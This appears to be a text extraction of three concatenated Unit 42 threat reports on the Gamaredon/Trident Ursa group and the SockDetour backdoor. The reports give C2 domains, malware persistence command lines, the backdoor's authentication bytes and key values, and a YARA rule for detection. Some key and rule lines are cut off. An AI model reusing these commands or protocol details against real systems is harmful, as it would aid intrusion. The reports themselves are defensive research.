+To identify the IP address of the C2 server, the file stealer will generate a random string of alphanumeric characters between eight and 23
+characters long, such as 9lGo990cNmjxzWrDykSJbV.jolotras[.]ru.
+As mentioned previously, once the file stealer retrieves the IP address for this domain, it will no longer use the domain name. Instead, all
+communications will be direct with the IP address.
+During execution, it will search all fixed and network drives attached to the computer for the following extensions:
+.doc
+.docx
+.xls
+.rtf
+12/16
+.odt
+.txt
+.jpg
+.pdf
+.ps1
+When it has a list of files on the system, it begins to create a string for each that contains the path of the file, the size of the file and the last
+time the file was written to, similar to the example below:
+C:\cygwin\usr\share\doc\bzip2\manual.pdf2569055/21/2011 3:17:02 PM
+The file stealer takes this string and generates an MD5 hash of it, resulting in the following output for this example:
+FB-17-F1-34-F4-22-9B-B4-49-0F-6E-3E-45-E3-C9-FA
+Next, it removes the hyphens from the hash and converts all uppercase letters to lowercase. These MD5 hashes are then saved into the file
+C:\Users\%USER%\AppData\Local\IconsCache.db. The naming of this file is another attempt to hide in plain sight next to the legitimate
+IconCache.db.
+Figure 9. IconsCache.db contents.
+The malware uses this database to track unique files.
+The malware will then generate a URL path with alphanumeric characters for its C2 communication, using the DNS-IP technique
+illustrated previously with the moolin[.]ru domain example:
+https://194.67.109[.]164/zB6OZj6F0zYfSQ
+Below is the full list of domains currently resolving to cluster 2 IP addresses:
+Domain
+Registered
+jolotras[.]ru
+12/16/2021
+moolin[.]ru
+10/11/2021
+bokuwai[.]ru
+9/2/2021
+naniga[.]ru
+9/2/2021
+nonimak[.]ru
+9/2/2021
+bilargo[.]ru
+7/23/2021
+krashand[.]ru
+6/17/2021
+firtabo[.]ru
+5/28/2021
+13/16
+gorigan[.]ru
+5/25/2021
+firasto[.]ru
+5/21/2021
+myces[.]ru
+2/24/2021
+teroba[.]ru
+2/24/2021
+bacilluse[.]ru
+2/15/2021
+circulas[.]ru
+2/15/2021
+megatos[.]ru
+2/15/2021
+phymateus[.]ru
+2/15/2021
+cerambycidae[.]ru
+1/22/2021
+coleopteras[.]ru
+1/22/2021
+danainae[.]ru
+1/22/2021
+Table 7. All cluster 2 domains.
+Pteranodon (Cluster 3)
+The single remaining IP address related to the SSL certificate was not related to either cluster 1 or cluster 2, and instead led us to a third,
+distinct cluster of domains.
+This final cluster appears to serve as the C2 infrastructure for a custom remote administration tool called Pteranodon. Gamaredon has
+used, maintained and updated development of this code for years. Its code contains anti-detection functions specifically designed to
+identify sandbox environments in order to thwart antivirus detection attempts. It is capable of downloading and executing files, capturing
+screenshots and executing arbitrary commands on compromised systems.
+Over the last three months, we have identified 33 samples of Pteranodon. These samples are commonly named 7ZSfxMod_x86.exe.
+Pivoting across this cluster, we identified the following C2 infrastructure:
+Domain
+Registered
+takak[.]ru
+9/18/2021
+rimien[.]ru
+9/18/2021
+maizuko[.]ru
+9/2/2021
+iruto[.]ru
+9/2/2021
+gloritapa[.]ru
+8/5/2021
+gortisir[.]ru
+8/5/2021
+gortomalo[.]ru
+8/5/2021
+langosta[.]ru
+6/25/2021
+malgaloda[.]ru
+6/8/2021
+Table 8. Cluster 3 domains.
+We again observe domain reputation aging, as seen in cluster 2.
+An interesting naming pattern is seen in cluster 3 
+ also seen in some cluster 1 host and subdomain names. We see these actors using
+English words, seemingly grouped by the first two or three letters. For example:
+deep-rooted.gloritapa[.]ru
+deep-sinking.gloritapa[.]ru
+deepwaterman.gloritapa[.]ru
+deepnesses.gloritapa[.]ru
+deep-lunged.gloritapa[.]ru
+deerfood.gortomalo[.]ru
+deerbrook.gortomalo[.]ru
+14/16
+despite.gortisir[.]ru
+des.gortisir[.]ru
+desire.gortisir[.]ru
+This pattern differs from those of cluster 2, but has been observed on some cluster 1 (dropper) domains, for example:
+alley81.salts.kolorato[.]ru
+allied.striman[.]ru
+allowance.hazari[.]ru
+allowance.telefar[.]ru
+ally.midiatr[.]ru
+allocate54.previously.bilorotka[.]ru
+alluded6.perfect.bilorotka[.]ru
+already67.perfection.zanulor[.]ru
+already8.perfection.zanulor[.]ru
+This pattern is even carried into HTTP POSTs, files and directories created by associated samples:
+Example 1:
+SHA256: 74cb6c1c644972298471bff286c310e48f6b35c88b5908dbddfa163c85debdee
+deerflys.gortomalo[.]ru
+C:\Windows\System32\schtasks.exe /CREATE /sc minute /mo 11 /tn "deepmost" /tr "wscript.exe "C:\Users\Public\\deepnaked\deepmost.fly" counteract /create //b /criminal //e:VBScript /cracker counteract " /F
+POST /index.eef/deep-water613
+Example 2:
+SHA256: ffb6d57d789d418ff1beb56111cc167276402a0059872236fa4d46bdfe1c0a13
+deer-neck.gortomalo[.]ru
+"C:\Windows\System32\schtasks.exe" /CREATE /sc minute /mo 13 /tn "deep-worn" /tr "wscript.exe "C:\Users\Public\\deerberry\deepworn.tmp" crumb /cupboard //b /cripple //e:VBScript /curse crumb " /F
+POST /cache.jar/deerkill523
+Because we only see this with some domains, this may be a technique employed by a small group of actors or teams. It suggests a possible
+link between the cluster 3 samples and those from cluster 1 employing a similar naming system. In contrast, we do not observe cluster 2
+large-number or random-string naming technique employed in any cluster 1 domains.
+Conclusion
+Gamaredon has been targeting Ukrainian victims for almost a decade. As international tensions surrounding Ukraine remain unresolved,
+Gamaredon
+s operations are likely to continue to focus on Russian interests in the region. This blog serves to highlight the importance of
+research into adversary infrastructure and malware, as well as community collaboration, in order to detect and defend against nationstate cyberthreats. While we have mapped out three large clusters of currently active Gamaredon infrastructure, we believe there is more
+that remains undiscovered. Unit 42 remains vigilant in monitoring the evolving situation in Ukraine and continues to actively hunt for
+indicators to put protections in place to defend our customers anywhere in the world. We encourage all organizations to leverage this
+research to hunt for and defend against this threat.
+Protections and Mitigations
+The best defense against this evolving threat group is a security posture that favors prevention. We recommend that organizations
+implement the following:
+Search network and endpoint logs for any evidence of the indicators of compromise associated with this threat group.
+Ensure cybersecurity solutions are effectively blocking against the active infrastructure IoCs identified above.
+Implement a DNS security solution in order to detect and mitigate DNS requests for known C2 infrastructure.
+Apply additional scrutiny to all network traffic communicating with AS 197695 (Reg[.]ru).
+If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call
+North America Toll-Free: 866.486.4842 (866.4.UNIT42), EMEA: +31.20.299.3130, APAC: +65.6983.8730, or Japan:
++81.50.1790.0200.
+15/16
+For Palo Alto Networks customers, our products and services provide the following coverage associated with this campaign:
+Cortex XDR protects endpoints from the malware techniques described in this blog.
+WildFire cloud-based threat analysis service accurately identifies the malware described in this blog as malicious.
+Advanced URL Filtering and DNS Security identify all phishing and malware domains associated with this group as malicious.
+Users of AutoFocus contextual threat intelligence service can view malware associated with these attacks using the Gamaredon Group tag.
+Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance
+members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious
+cyber actors. Learn more about the Cyber Threat Alliance.
+Indicators of Compromise
+A list of the domains, IP addresses and malware hashes is available on the Unit 42 GitHub. Additional IoCs shared in a Feb. 16 update to
+this report are also available.
+Additional Resources
+The Gamaredon Group Toolset Evolution 
+ Unit 42, Palo Alto Networks
+Threat Brief: Ongoing Russia and Ukraine Cyber Conflict 
+ Unit 42, Palo Alto Networks
+Technical Report on Armageddon / Gamaredon 
+ Security Service of Ukraine
+Tale of Gamaredon Infection 
+ CERT-EE / Estonian Information System Authority
+Updated Feb. 16, 2021, at 6:30 a.m. PT.
+Get updates from Palo Alto Networks!
+Sign up to receive the latest news, cyber threat intelligence and research from us
+16/16
+SockDetour 
+ a Silent, Fileless, Socketless Backdoor 
+ Targets U.S. Defense
+Contractors
+unit42.paloaltonetworks.com/sockdetour
+February 24, 2022
+By Unit 42
+February 24, 2022 at 6:00 AM
+Category: Malware
+Tags: APT, backdoor, CVE-2021-28799, CVE-2021-40539, CVE-2021-44077, TiltedTemple, Windows
+This post is also available in: 
+ (Japanese)
+Executive Summary
+Unit 42 has been tracking an APT campaign we name TiltedTemple, which we first identified in connection with its use of the Zoho
+ManageEngine ADSelfService Plus vulnerability CVE-2021-40539 and ServiceDesk Plus vulnerability CVE-2021-44077. The threat actors
+involved use a variety of techniques to gain access to and persistence in compromised systems and have successfully compromised more than a
+dozen organizations across the technology, energy, healthcare, education, finance and defense industries. In conducting further analysis of this
+campaign, we identified another sophisticated tool being used to maintain persistence, which we call SockDetour.
+A custom backdoor, SockDetour is designed to serve as a backup backdoor in case the primary one is removed. It is difficult to detect, since it
+operates filelessly and socketlessly on compromised Windows servers. One of the command and control (C2) infrastructures that the threat
+actor used for malware distribution for the TiltedTemple campaign hosted SockDetour along with other miscellaneous tools such as a memory
+dumping tool and several webshells. We are tracking SockDetour as one campaign within TiltedTemple, but cannot yet say definitively whether
+the activities stem from a single or multiple threat actors.
+Based on Unit 42
+s telemetry data and the analysis of the collected samples, we believe the threat actor behind SockDetour has been focused on
+targeting U.S.-based defense contractors using the tools. Unit 42 has evidence of at least four defense contractors being targeted by this
+campaign, with a compromise of at least one contractor.
+Unit 42 also believes it is possible that SockDetour has been in the wild since at least July 2019. We did not find any additional SockDetour
+samples on public repositories, meaning that the backdoor successfully stayed under the radar for a long time.
+Full visualization of the techniques observed, relevant courses of action and indicators of compromise (IoCs) related to this report can be found
+in the Unit 42 ATOM viewer.
+Palo Alto Networks customers are protected from the threats described in this blog by Cortex XDR and WildFire, and can use AutoFocus for
+tracking related entities. Additionally, the YARA rule we attached at the end of this blog post can be used to detect SockDetour in memory.
+Vulnerabilities Discussed
+CVE-2021-40539, CVE-2021-44077, CVE-2021-28799
+Operating System Affected
+Windows
+Related Unit 42 Topics
+TiltedTemple, APT, backdoors
+Table of Contents
+Background on the TiltedTemple Campaign
+SockDetour Targets US Defense Industry
+SockDetour Hosted by Compromised Home and SOHO NAS Server
+Analysis of SockDetour
+Client Authentication and C2 Communication
+Plugin Loading Feature
+Conclusion
+Protections and Mitigations
+Indicators of Compromise
+Background on the TiltedTemple Campaign
+TiltedTemple is the name Unit 42 gives to a campaign being conducted by an advanced persistent threat (APT) or APTs, leveraging a variety of
+initial access vectors, to compromise a diverse set of targets globally. Our initial publications on TiltedTemple focused on attacks that occurred
+through compromised ManageEngine ADSelfService Plus servers and through ManageEngine ServiceDesk Plus.
+The TiltedTemple campaign has compromised organizations across the technology, energy, healthcare, education, finance and defense
+industries and conducted reconnaissance activities against these industries and others, including infrastructure associated with five U.S. states.
+We found SockDetour hosted on infrastructure associated with TiltedTemple, though we have not yet determined whether this is the work of a
+single threat actor or several.
+SockDetour Targets US Defense Industry
+While the TitledTemple campaign was initially identified as starting in August 2021, we have recently discovered evidence that SockDetour was
+delivered from an external FTP server to a U.S.-based defense contractor
+s internet-facing Windows server on July 27, 2021.
+The FTP server also hosted other miscellaneous tools used by the threat actor, such as a memory dumping tool and ASP webshells.
+After analyzing and tracking these indicators, we were able to discover that at least three other U.S.-based defense contractors were targeted by
+the same actor.
+SockDetour Hosted by Compromised Home and SOHO NAS Server
+The FTP server that hosted SockDetour was a compromised Quality Network Appliance Provider (QNAP) small office and home office (SOHO)
+network-attached storage (NAS) server. The NAS server is known to have multiple vulnerabilities, including a remote code execution
+vulnerability, CVE-2021-28799. This vulnerability was leveraged by various ransomware families in massive infection campaigns in April 2021.
+We believe the threat actor behind SockDetour likely also leveraged these vulnerabilities to compromise the NAS server. In fact, the NAS server
+was already infected with QLocker from the previous ransomware campaigns.
+Analysis of SockDetour
+SockDetour is a custom backdoor compiled in 64-bit PE file format. It is designed to serve as a backup backdoor in case the primary one is
+detected and removed. It works on Windows operating systems that are running services with listening TCP ports. It hijacks network
+connections made to the pre-existing network socket and establishes an encrypted C2 channel with the remote threat actor via the socket.
+Thus, SockDetour requires neither opening a listening port from which to receive a connection nor calling out to an external network to
+establish a remote C2 channel. This makes the backdoor more difficult to detect from both host and network level.
+In order for SockDetour to hijack an existing process
+s socket, it needs to be injected into the process
+s memory. For this reason, the threat
+actor converted SockDetour into a shellcode using an open source shellcode generator called Donut framework, then used the PowerSploit
+memory injector to inject the shellcode into target processes. The samples we found contained hardcoded target processes
+ IDs, which means
+the threat actor manually chose injection target processes from compromised servers.
+After SockDetour is injected into the target process, the backdoor leverages the Microsoft Detours library package, which is designed for the
+monitoring and instrumentation of API calls on Windows to hijack a network socket. Using the DetourAttach() function, it attaches a hook to
+the Winsock accept() function. With the hook in place, when new connections are made to the service port and the Winsock accept() API
+function is invoked, the call to the accept() function is re-routed to the malicious detour function defined in SockDetour.
+Other non-C2 traffic is returned to the original service process to ensure the targeted service operates normally without interference.
+With such implementation, SockDetour is able to operate filelessly and socketlessly in compromised Windows servers, and serves as a backup
+backdoor in case the primary backdoor is detected and removed by defenders.
+Figure 1. SockDetour Workflow
+Client Authentication and C2 Communication
+As SockDetour hijacks all the connections made to the legitimate service port, it first needs to verify the C2 traffic from incoming traffic that is
+mixed with legitimate service traffic, then authenticate to make sure the C2 connection is made from the right client.
+SockDetour achieves the verification and authentication of the C2 connection with the following steps.
+1. First, expect to receive 137 bytes of data from a client for authentication. The authentication data is as shown in the structure in Table 1.
+17 03 03
+AA BB
+CC DD EE FF
+128-byte data block
+Fixed header value to disguise TLS
+traffic
+Payload data
+size
+Four-byte variable used for client
+authentication
+Data signature for client authentication
+data block
+Table 1. SockDetour client authentication data structure.
+2. Read the first nine bytes of data. This data is received using the recv() function with the MSG_PEEK option so that it will not interfere with
+the legitimate service
+s traffic by removing data from the socket queue.
+3. Verify that the data starts with 17 03 03, which is commonly seen as a record header for TLS transactions when encrypted data is being
+transferred. However, this is abnormal for normal TLS 
+ a TLS-encrypted transaction would not normally show up without proper TLS
+handshakes.
+Figure 2. SockDetour receives data with the MSG_PEEK option and verifies the data.
+4. Check that the size of payload data AA BB is less than or equal to 251.
+5. Check that the four bytes of payload CC DD EE FF satisfy the conditions below:
+1. The result is 88 a0 90 82 after bitwise AND with 88 a0 90 82
+2. The result is fd f5 fb ef after bitwise OR with fd f5 fb ef
+6. Read the whole 137 bytes of data from the same data queue with the MSG_PEEK option for further authentication.
+7. Build a 24-byte data block as shown in Table 2.
+08 1c c1 78 d4 13 3a d7 0f ab
+CC DD EE FF
+b3 a2 b8 ae 63 bb 03 e8 ff 3b
+10 bytes hardcoded in SockDetour
+Four bytes received from the client for authentication
+10 bytes hardcoded in SockDetour
+Table 2. 24-byte data block to be verified for client authentication.
+8. This 24-byte data block is hashed and verified using an embedded public key against the 128-byte data signature in Table 1, which the threat
+actor would have created by signing the hash of the same 24-byte data block using the corresponding private key.
+This completes the client authentication step. After successful authentication, SockDetour takes over the TCP session using the recv() function
+without the MSG_PEEK option as this session is now verified to be for the backdoor.
+Next, SockDetour creates a 160-bit session key using a hardcoded initial vector value bvyiafszmkjsmqgl, then sends it to the remote client using
+the following data structure.
+17 03 03
+AA BB
+CC DD EE FF
+session_key
+random_padding
+Fixed header value to disguise TLS traffic
+Payload data size
+Session key length
+160-bit session key
+Random padding
+Table 3. SockDetour sending session key to client.
+In common encryption protocols such as TLS, the session key is encrypted with a public key before transferring. However, in this case, the
+malware author has seemingly forgotten the step and transfers the key in plain text.
+Now with the session key shared between SockDetour and the remote client, the C2 connection is made encrypted over the hijacked socket.
+Plugin Loading Feature
+As a backup backdoor, SockDetour serves only one feature of loading a plugin DLL. After the session key sharing, SockDetour receives four
+bytes of data from the client, which indicates the length of data SockDetour will receive for the final payload delivery stage. The size is expected
+to be smaller or equal to five MB.
+The final payload data received is encrypted using the shared session key. After decryption, the received data is expected to be in JSON format
+with two objects app and args. app contains a base 64-encoded DLL, and args contains an argument to be passed to the DLL. SockDetour loads
+this plugin DLL in newly allocated memory space, then calls an export function with the name ThreadProc with a function argument in the
+following JSON structure.
+"sock": hijacked_socket,
+"key": session_key,
+"args": arguments_received_from_client
+While plugin DLL samples were not discovered, the above function argument suggests that the plugin also likely communicates via the hijacked
+socket and encrypts the transaction using the session key. Thus, we surmise it operates as stealthily as SockDetour does.
+Conclusion
+SockDetour is a backdoor that is designed to remain stealthily on compromised Windows servers so that it can serve as a backup backdoor in
+case the primary one fails. It is filelessly loaded in legitimate service processes and uses legitimate processes
+ network sockets to establish its
+own encrypted C2 channel.
+While it can be easily altered, the compilation timestamp of the SockDetour sample we analyzed suggests that it has likely been in the wild
+since at least July 2019 without any update to the PE file. Plus, we did not find any additional SockDetour samples on public repositories. This
+suggests that the backdoor successfully stayed under the radar for a long time.
+The plugin DLL remains unknown, but it is also expected to operate very stealthily by being delivered via the SockDetour
+s encrypted channel,
+being loaded filelessly in memory and communicating via hijacked sockets.
+As an additional note, the type of NAS server that we found hosting SockDetour is typically used by small businesses. This example serves as a
+critical reminder to patch this type of server frequently when fixes are released.
+Protections and Mitigations
+Cortex XDR protects endpoints and accurately identifies the memory injector as malicious. Additionally, Cortex XDR has several detections for
+lateral movement and credential theft tactics, techniques and procedures (TTPs) employed by this actor set.
+WildFire cloud-based threat analysis service accurately identifies the injector used in this campaign as malicious.
+AutoFocus customers can track SockDetour activity via the SockDetour tag.
+We advise server administrators to keep Windows servers up to date.
+The YARA rule attached at the end of this blog can be used to detect the presence of SockDetour in memory.
+Organizations should conduct an incident response investigation if they think they are compromised by SockDetour. If you think you may have
+been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call North America Toll-Free:
+866.486.4842 (866.4.UNIT42), EMEA: +31.20.299.3130, APAC: +65.6983.8730 or Japan: +81.50.1790.0200.
+Indicators of Compromise
+SockDetour PE
+0b2b9a2ac4bff81847b332af18a8e0705075166a137ab248e4d9b5cbd8b960df
+PowerSploit Memory Injectors Delivering SockDetour
+80ed7984a42570d94cd1b6dcd89f95e3175a5c4247ac245c817928dd07fc9540
+bee2fe0647d0ec9f2f0aa5f784b122aaeba0cddb39b08e3ea19dd4cdb90e53f9
+a5b9ac1d0350341764f877f5c4249151981200df0769a38386f6b7c8ca6f9c7a
+607a2ce7dc2252e9e582e757bbfa2f18e3f3864cb4267cd07129f4b9a241300b
+11b2b719d6bffae3ab1e0f8191d70aa1bade7f599aeadb7358f722458a21b530
+cd28c7a63f91a20ec4045cf40ff0f93b336565bd504c9534be857e971b4e80ee
+ebe926f37e7188a6f0cc85744376cdc672e495607f85ba3cbee6980049951889
+3ea2bf2a6b039071b890f03b5987d9135fe4c036fb77f477f1820c34b341644e
+7e9cf2a2dd3edac92175a3eb1355c0f5f05f47b7798e206b470637c5303ac79f
+bb48438e2ed47ab692d1754305df664cda6c518754ef9a58fb5fa8545f5bfb9b
+Public Key Embedded in SocketDetour
+-----BEGIN PUBLIC KEY----MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDWD9BUhQQZkagIIHsCdn/wtRNXcYoEi3Z4PhZkH3mar20EONVyXWP/YUxyUmxD+aT
+----END PUBLIC KEY-----
+YARA Rule for Detecting SockDetour in Memory
+rule apt_win_sockdetour
+meta:
+author = "Unit 42 - PaloAltoNetworks"
+date = "2022-01-23"
+description = "Detects SockDetour in memory or in PE format"
+hash01 = "0b2b9a2ac4bff81847b332af18a8e0705075166a137ab248e4d9b5cbd8b960df"
+strings:
+$public_key =
+"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDWD9BUhQQZkagIIHsCdn/wtRNXcYoEi3Z4PhZkH3mar20EONVyXWP/YUxyUmxD
+$json_name_sequence = {61 70 70 00 61 72 67 73 00 00 00 00 73 6F 63 6B 00 00 00 00 6B 65 79 00 61 72 67 73 00 00}
+$verification_bytes = {88 [4] A0 [4] 90 [4] 82 [4] FD [4] F5 [4] FB [4] EF}
+$data_block = {08 [4] 1C [4] C1 [4] 78 [4] D4 [4] 13 [4] 3A [4] D7 [4] 0F [4] AB [4] B3 [4] A2 [4] B8 [4] AE [4] 63 [4] BB [4] 03 [4] E8 [4] FF [4] 3
+$initial_vector = {62 [4] 76 [4] 79 [4] 69 [4] 61 [4] 66 [4] 73 [4] 7A [4] 6D [4] 6B [4] 6A [4] 73 [4] 6D [4] 71 [4] 67 [4] 6C}
+condition:
+any of them
+Get updates from Palo Alto Networks!
+Sign up to receive the latest news, cyber threat intelligence and research from us
+By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.
+Russia
+s Trident Ursa (aka Gamaredon APT) Cyber Conflict Operations
+Unwavering Since Invasion of Ukraine
+unit42.paloaltonetworks.com/trident-ursa
+December 20, 2022
+By Unit 42
+December 20, 2022 at 3:00 AM
+Category: Government, Malware
+Tags: APTs, Cortex XDR, DNS security, Gamaredon, next-generation firewall, Phishing, primitive bear, Russia,
+Shuckworm, threat prevention, Trident Ursa, UAC-0010, Ukraine, URL filtering, WildFire
+Executive Summary
+Since our last blog in early February covering the advanced persistent threat (APT) group Trident Ursa (aka
+Gamaredon, UAC-0010, Primitive Bear, Shuckworm), Ukraine and its cyber domain has faced ever-increasing
+threats from Russia. Trident Ursa is a group attributed by the Security Service of Ukraine to Russia
+s Federal
+Security Service.
+As the conflict has continued on the ground and in cyberspace, Trident Ursa has been operating as a dedicated
+access creator and intelligence gatherer. Trident Ursa remains one of the most pervasive, intrusive, continuously
+active and focused APTs targeting Ukraine.
+Given the ongoing geopolitical situation and the specific target focus of this APT group, Unit 42 researchers
+continue to actively monitor for indicators of their operations. In doing so, we have mapped out over 500 new
+domains, 200 samples and other Indicators of Compromise (IoCs) used within the past 10 months that support
+Trident Ursa
+s different phishing and malware purposes.
+We are providing this update along with known IoCs to highlight and share our current overall understanding of
+Trident Ursa
+s operations.
+While monitoring these domains as well as open source intelligence, we have identified multiple items of note:
+An unsuccessful attempt to compromise a large petroleum refining company within a NATO member nation
+on Aug. 30.
+An individual who appears to be involved with Trident Ursa threatened to harm a Ukraine-based cybersecurity
+researcher immediately following the initial invasion.
+Multiple shifts in their tactics, techniques and procedures (TTPs).
+Palo Alto Networks customers receive protections against the types of threats discussed in this blog by products
+including Cortex XDR, WildFire, Advanced URL Filtering, Advanced Threat Prevention and DNS Security
+subscription services for the Next-Generation Firewall.
+Related Unit 42 Topics
+Russia, Ukraine, Gamaredon
+Trident Ursa APT Group akas
+Gamaredon, UAC-0010, Primitive Bear, Shuckworm
+Table of Contents
+1/13
+Targeting Beyond Ukraine
+Beyond Just Hacking: Open Threats to Cybersecurity Community
+DNS Shenanigans
+Bypassing DNS Through Legitimate Web Services
+Bypassing DNS Through a Messaging Service
+Hiding True IP Assignment Through Separate IPs for Root Domain and Subdomains
+Various Malware Types Used
+Phishing Using HTML Files
+Phishing Using Word Documents
+Recently Seen Droppers
+7ZSfxMod_x86.exe
+Myfile.exe
+Conclusion
+Protections and Mitigations
+Indicators of Compromise
+Additional Resources
+Targeting Beyond Ukraine
+Traditionally, Trident Ursa has primarily targeted Ukrainian entities with Ukrainian language lures. While this is
+still the most common scenario for this group, we saw a few instances of them using English language lures. We
+assess that these samples indicate that Trident Ursa is attempting to boost their intelligence collection and network
+access against Ukrainian and NATO allies.
+In line with these efforts to target allied governments, during a review of their IoCs we identified an unsuccessful
+attempt to compromise a large petroleum refining company within a NATO member nation on Aug. 30.
+SHA256
+Filename
+b1bc659006938eb5912832eb8412c609d2d875c001ab411d1b69d343515291b7
+MilitaryassistanceofUkraine.htm
+0b63f6e7621421de9968d46de243ef769a343b61597816615222387c45df80ae
+Necessary_military_assistance.rar
+303abc6d8ab41cb00e3e7a2165ecc1e7fb4377ba46a9f4213a05f764567182e5
+List of necessary things for the
+provision of military humanitarian
+assistance to Ukraine.lnk (Note:
+File bundled in above .rar)
+Table 1. English language samples used by Trident Ursa.
+Beyond Just Hacking: Open Threats to Cybersecurity Community
+One of our most surprising observations was when an individual named Anton (in Cyrillic, 
+) who appeared to
+be tied to Trident Ursa threatened a small group of cybersecurity researchers on Twitter, on the same day Russia
+invaded Ukraine (Feb. 24, 2022). It appears that Anton chose these researchers based on their tweets highlighting
+Trident Ursa
+s IoCs in the days prior to the invasion.
+The first tweets (shown in Figure 1) came from Anton (@Anton15001398) as the invasion was underway, to
+Ukraine-based threat researcher Mikhail Kasimov (@500mk500). In several tweets, he said, 
+run, i
+m coming for
+you.
+ Likely figuring his first tweets to Kasimov were too unnoticeable, his last tweet included the #Gamaredon
+hashtag so it would be more publicly discoverable by other researchers.
+2/13
+Figure 1. Threatening Mikhail Kasimov.
+Later that same day, Anton used a different account (@YumHSh2UdIkz64w) to send Shadow Chaser Group
+(@ShadowChasing1) and TI Research (@tiresearch1) the ominous message 
+let's be friends. We do not want to
+fight, but we do it well!
+ as shown in Figure 2.
+Figure 2. Warning away Shadow Chaser Group and TI Research.
+Two days later, on Feb. 26, Anton sent his last and most threatening tweet yet (Figure 3). In it, he provides Mikhail
+Kasimov
+s full name, date of birth and address along with the message, 
+We are already in the city, there is nowhere
+to run. You had a chance.
+Figure 3. Doxing and threatening Mikhail Kasimov (full name, date of birth, and address redacted from the original tweet).
+3/13
+We imagine these direct, threatening communications from this purported Trident Ursa associate were unsettling to
+the recipients (especially Mikhail Kasimov, a researcher operating from within the war zone). To their credit, the
+targeted researchers were undaunted, and tweeted additional Trident Ursa IoCs over the weeks following these
+threats. Kasimov, along with a large number of other researchers from around the world, continues to routinely
+publish new IoCs for this APT.
+DNS Shenanigans
+Trident Ursa has used fast flux DNS as a way to increase the resilience of their operations, and to make analysis of
+their infrastructure more difficult for cybersecurity analysts. Infrastructure using fast flux DNS rotates through
+many IPs daily, using each one for a short time to make IP-based block listing, takedown efforts and forensic
+analysis difficult.
+The use of this technique is the primary reason Unit 42 researchers focus on Trident Ursa
+s domains instead of their
+IPs. Since June 2022, we
+ve seen Trident Ursa use several other techniques in addition to fast flux to enhance their
+operational efficacy.
+A number of legitimate tools and services have been used by this threat actor in their operations. Threat actors often
+abuse, take advantage of or subvert legitimate products for malicious purposes. This does not necessarily imply a
+flaw or malicious quality to the legitimate product being abused.
+Bypassing DNS Through Legitimate Web Services
+The first example of additional techniques we
+ve observed uses legitimate services to query IP assignments for
+malicious domains. By using these services, Trident Ursa is effectively bypassing DNS and DNS logging for the
+malicious domains. For example, the sample SHA256
+499b56f3809508fc3f06f0d342a330bcced94c040e84843784998f1112c78422 calls the legitimate service ipapi[.]com to get the IP associated with josephine71.alabarda[.]ru through the following URL: hxxp://ipapi[.]com/csv/josephine71.alabarda.ru.
+As of the time of writing this post, this process returns the following:
+The malware uses the IP returned through this communication for follow-on communications with the malicious
+domain. The only DNS query that would show up in logging would be the original request for ip-api[.]com.
+Bypassing DNS Through a Messaging Service
+In the second example, Trident Ursa uses Telegram Messenger content to look up the latest IP used for command
+and control (C2). In this way, the actor is attempting to supplement DNS for when targets successfully block
+malicious domains.
+For example, the sample SHA256 3e72981a45dc4bdaa178a3013710873ad90634729ffdd4b2c79c9a3a00f76f43 calls
+to hxxps://t[.]me/s/dracarc. As of Nov. 18, this account (@dracarc) returned the Telegram post
+==104@248@36@191==. This is converted to the IP 104.248.36[.]191 and it is used for follow-on communications.
+Hiding True IP Assignment Through Separate IPs for Root Domain and Subdomains
+On Nov. 15, we noticed that the Trident Ursa domain niobiumo[.]ru was assigned to the U.S. Department of Defense
+Network Information Center IP 147.159.180[.]73. We quickly identified that Trident Ursa had no operational control
+over, or use of, that IP.
+4/13
+Trident Ursa had seeded the fast flux DNS tables for its root domains with 
+junk
+ IPs in an attempt to confuse
+researchers and protect its true operational infrastructure. Instead of using root domains, they were instead using
+subdomains for their operations.
+The true operational IP could only be found by querying DNS upon a subdomain. In this case (shown in Figure 4),
+querying upon subdomain aaa.niobiumo[.]ru returned the operational IP 64.227.67[.]175.
+Figure 4. reg[.]ru name servers send a fake address for the domain and a real address for the subdomain (note: DNS lookup for
+aaa.niobium[.]ru as of Nov. 15).
+We highlight two observations stemming from our analysis of Trident Ursa
+s DNS activity:
+For its operational infrastructure outside of Russia, Trident Ursa has relied primarily on VPS providers
+located within one of two autonomous systems (AS), AS14061 (DigitalOcean, LLC) and AS20473 (The
+Constant Company, LLC). Over the past six weeks, of the 122 IP addresses we identified outside of Russia,
+63% of them were within AS14061 and 29% were within AS20473. The remainder were located across several
+AS owned by UAB Cherry Servers.
+Over 96% of Trident Ursa
+s domains continue to be registered and under the DNS of the Russian company
+reg[.]ru, a company that 
+ to date 
+ has taken no action to block or deny this malicious infrastructure.
+Various Malware Types Used
+Over the past few months, Trident Ursa has relied upon a couple of different tactics to initially compromise victim
+devices using VBScripts with randomly generated variable names and concatenation of strings for obfuscation. Each
+of these tactics ultimately rely on the delivery of malicious content through spear phishing.
+The first delivery method we will look at uses .html files, and the second uses Word documents.
+Phishing Using HTML Files
+5/13
+Trident Ursa delivers an .html file either as an attachment to their phishing email, or via a link to the .html file (in
+an attempt to bypass email threat scanning). They use seemingly benign URLs such as hxxp://state-cip[.]org/arhiv,
+as shown in Figure 5. This site appears to still be active at the time of writing this post.
+Figure 5. Example of phishing email with link used by Trident Ursa.
+These .html files contain Base64-encoded .rar archives that in turn contain a malicious .lnk file. Once a user clicks
+on these .lnk files, they use the Microsoft HTML Application (mshta.exe) to download additional files via URL, as
+shown in Figure 6.
+6/13
+Figure 6. Exploitation path for phishing using malicious .lnk files.
+Taking a deeper look into recent .lnk file SHA256
+0d51b90457c85a0baa6304e1ffef2c3ea5dab3b9d27099551eef60389a34a89b, we see that the file is 99.8 KB, which
+is approximately 98 KB larger than your average .lnk file.
+Based on our review of these larger than expected .lnk files used by Trident Ursa, the file contains random 10character strings that we assess were appended during the creation process. These are used to confuse analysis, and
+they have no purpose we can identify for Trident Ursa
+s operations.
+Once opened, this .lnk shortcut uses mshta.exe to contact hxxps://admou[.]org/29.11_mou/presented.rtf via a
+command line argument.
+Trident Ursa appears to be using various techniques to limit who can access this URL. As other researchers have
+highlighted, Trident Ursa appears to be using geoblocking in order to limit downloads of this file to specific
+geographic locations.
+In this case, we assess the ability to download presented.rtf via this URL is limited to Ukraine. There are some
+exceptions to this, however.
